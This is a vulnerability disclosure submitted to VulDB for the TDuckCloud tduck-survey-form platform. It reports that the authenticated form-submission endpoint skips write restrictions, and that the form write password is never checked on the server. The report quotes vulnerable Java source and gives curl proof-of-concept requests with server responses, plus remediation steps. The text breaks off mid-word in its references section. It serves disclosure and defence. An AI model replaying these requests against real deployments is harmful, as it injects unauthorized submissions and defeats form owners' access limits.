إرسال #962999: Github tduck-survey-form 4.0-5.3 broken access controllالمعلومات

عنوانGithub tduck-survey-form 4.0-5.3 broken access controll
الوصف# TDuck Form Platform: Write-Restriction Bypass via `POST /user/form/data/create` (Missing Server-Side Restriction Check) and Non-Enforced Write Password ## Summary **Title:** The authenticated fill-in endpoint `POST /user/form/data/create` of TDuckCloud `tduck-survey-form` never invokes the form's write-restriction check, letting any logged-in user bypass the form owner's configured restrictions (write password, IP whitelist/limits, submission quotas); additionally the "write password" is never verified anywhere on the server-side submission path. Form owners can configure fill-in restrictions (`FormSettingSchemaStruct`: write password `writePassword`, IP limits, submission quotas, designated fillers, etc.). All server-side checks are centralized in `UserFormSettingService.getUserFormWriteSettingStatus(...)`, but that method is invoked **only** by the public fill-in endpoint `POST /user/form/data/public/create` (`UserFormResultController.java:152-172`) — the authenticated endpoint `POST /user/form/data/create` (`:135-143`) **never calls it** and writes straight to the database. Verified consequences: with `ipWriteCountLimit=1` set on the victim's form, a second anonymous submission via `public/create` from the same IP is rejected, while an authenticated `create` from a non-owner account succeeds. Furthermore, the write password (`passwordWriteStatus=true`) is verified only by the front-end helper endpoint `POST /user/form/public/checkWritePwd`; the server-side submission chain never checks it — an anonymous caller without the password successfully submits data. ## Affected Product / Versions | Item | Value | | ------------------ | ------------------------------------------------------------ | | Product | TDuckCloud `tduck-survey-form` (open-source Java Spring Boot online form platform) | | Affected component | `tduck-api` module `UserFormResultController`; `tduck-form` module `UserFormSettingService` | | Affected versions | All releases containing this defect. Verified against official image `tduckcloud/tduck-platform` (build 2026-06-10) and source baseline commit `43ffa9c9` (tag `Tduckx-13`); the same vulnerable code exists in the `v5.0` and `v4.0` source tags. | | Test environment | `http://localhost:8999`; attacker is an ordinary user (`admin=false`); the victim's form has restrictions enabled | ## Root Cause (source evidence) `tduck-api/src/main/java/com/tduck/cloud/api/web/controller/UserFormResultController.java`: ```java // lines 135-143: authenticated fill-in — no restriction check @PostMapping("/create") public Result createFormResult(@RequestBody UserFormDataEntity entity, HttpServletRequest request) { ValidatorUtils.validateEntity(entity); entity.setSubmitRequestIp(HttpUtils.getIpAddr(request)); entity.setCreateBy(SecurityUtils.getUserId() != null ? String.valueOf(SecurityUtils.getUserId()) : null); Map<String, Object> result = formResultService.saveFormResult(entity); // direct DB write return Result.success(result); } // lines 152-172: public fill-in — restriction check present (control group) @PostMapping("/public/create") @PermitAll public Result<Map<String, Object>> createPublicFormResult(...) { ... Result<Boolean> userFormSettingStatus = userFormSettingService.getUserFormWriteSettingStatus( entity.getFormKey(), entity.getSubmitRequestIp(), entity.getWxOpenId(), CommonConstants.ConstantNumber.ONE); // the only server-side check point if (StrUtil.isNotBlank(userFormSettingStatus.getMsg())) { return Result.failed(userFormSettingStatus.getMsg()); // reject } ... } ``` - `getUserFormWriteSettingStatus` is called from exactly two places in the whole repository: `public/create` and `GET /user/form/setting-status` (a status query) — the `/create` path is missing it entirely. - The check covers: fill-in time windows, per-WeChat / per-IP / total submission quotas, per-account quotas, etc. (`UserFormSettingServiceImpl.java:77-135`). - The **write password** (`passwordWriteStatus`/`writePassword`) is never validated in the server-side submission chain: the only password check is the front-end helper `POST /user/form/public/checkWritePwd` (`UserFormSettingController.java:154-161`), which returns a boolean hint and plays no part in rejecting submissions. ## CWE - CWE-863: Incorrect Authorization (missing restriction-check entry point) - CWE-284: Improper Access Control - CWE-306: Missing Authentication for Critical Function (the write password is effectively decorative) ## Attack Vector & Preconditions - Attacker: any authenticated user (ordinary account suffices); for the non-enforced write password, an **anonymous** caller also suffices. - Precondition: the target form's `formKey` (public share link). - Impact: bypass write password → unauthorized submissions (including anonymous); bypass IP/designated-filler restrictions → data injected from outside the allowed channels; bypass quotas → submission flooding and polluted statistics. ## PoC (verified evidence) > Environment `http://localhost:8999`; auth header `token: <JWT>`. > Victim `[email protected]`, form `formKey=8wYgRIGX` with `ipWriteCountLimitStatus=true, ipWriteCountLimit=1, passwordWriteStatus=true, writePassword="s3cr3t"`; one prior submission from IP 172.20.0.1 exists. Attacker `[email protected]` (id=1002, `admin=false`). ### 1) Control group: anonymous `public/create` (2nd submission from the same IP, must be rejected) ```bash curl -s -X POST "http://localhost:8999/user/form/data/public/create" \ -H "Content-Type: application/json" \ -d '{"formKey":"8wYgRIGX","originalData":{"input1":"anon-blocked","input2":"x"}}' ``` Actual response (`code=500`, blocked by the restriction): ```json {"code": 500, "msg": "该IP已经提交过数据,不可重复提交,有问题请与表单发布者联系", "data": null} ``` ### 2) Attack group: authenticated `/create` (restriction bypassed, write succeeds) ```bash curl -s -X POST "http://localhost:8999/user/form/data/create" \ -H "token: <attacker-token>" -H "Content-Type: application/json" \ -d '{"formKey":"8wYgRIGX","originalData":{"input1":"attacker-bypass","input2":"y"}}' ``` Actual response (`code=200`, accepted, dataId=211739): ```json {"code": 200, "msg": null, "data": {"id": 211739}} ``` → Control rejected by the IP quota; attack group bypassed the restriction — vulnerability confirmed. ### 3) Additional evidence: the write password is never enforced server-side (anonymous submit without password succeeds) Fresh published form `formKey=HJqjLKr2` with `passwordWriteStatus=true, writePassword="s3cr3t"`; anonymous submission **without any password**: ```bash curl -s -X POST "http://localhost:8999/user/form/data/public/create" \ -H "Content-Type: application/json" \ -d '{"formKey":"HJqjLKr2","originalData":{"f1":"no-password-submitted"}}' ``` Actual response (`code=200`, accepted, dataId=211740): `{"code":200,"msg":null,"data":{"id":211740}}` → The write password is only checked client-side via `checkWritePwd`; direct API calls (both `/create` and `/public/create`) bypass it entirely. ## Impact 1. **Write-password bypass:** unauthorized persons, including anonymous callers, can fill forms intended for invited users only. 2. **IP / designated-filler restriction bypass:** data can be injected from outside the allowed channels. 3. **Quota bypass:** submission flooding and polluted statistics/vote results. 4. Very low exploitation threshold: ordinary account + public `formKey` (no account at all needed for the password bypass). ## Remediation 1. Make `createFormResult` call `getUserFormWriteSettingStatus` before persisting, exactly like `createPublicFormResult`. 2. Move the restriction check down into `UserFormDataServiceImpl.saveFormResult` so that future entry points cannot miss it. 3. **Enforce the write password on the server-side submission path** (compare `writePassword`/verify a one-time token inside `saveFormResult`); `checkWritePwd` may remain as a front-end helper but must not be the only gate. ## Reproducer Script A dependency-free Python 3 reproducer for this issue is provided as `tduck-poc/poc_form_data_create_bypass.py` and has been executed successfully against the same target and ordinary (non-admin) accounts described above: ```bash python3 poc_form_data_create_bypass.py --victim-account [email protected] --victim-password xxx --account [email protected] --password xxx ``` > The script defaults to `http://127.0.0.1:8999` with the `token` auth header (this deployment's `platform.jwt.header`); replace the test accounts/address before submission, consistent with the PoC in the body. ## References & Disclosure - Affected source: `tduck-api/.../web/controller/UserFormResultController.java:135-172`; restriction check `tduck-form/.../service/impl/UserFormSettingServiceImpl.getUserFormWriteSettingStatus` (`:77-135`); passwor
المستخدم
 lincoke (UID 100021)
ارسال07/09/2026 10:06 AM (1 شهر منذ)
الاعتدال11/10/2026 11:46 AM (1 month later)
الحالةمكرر
إدخال VulDB410424 [TDuckCloud TDuck Survey Form حتى 6.0 /user/form/data/create تجاوز الصلاحيات]
النقاط0

Do you know our Splunk app?

Download it now for free!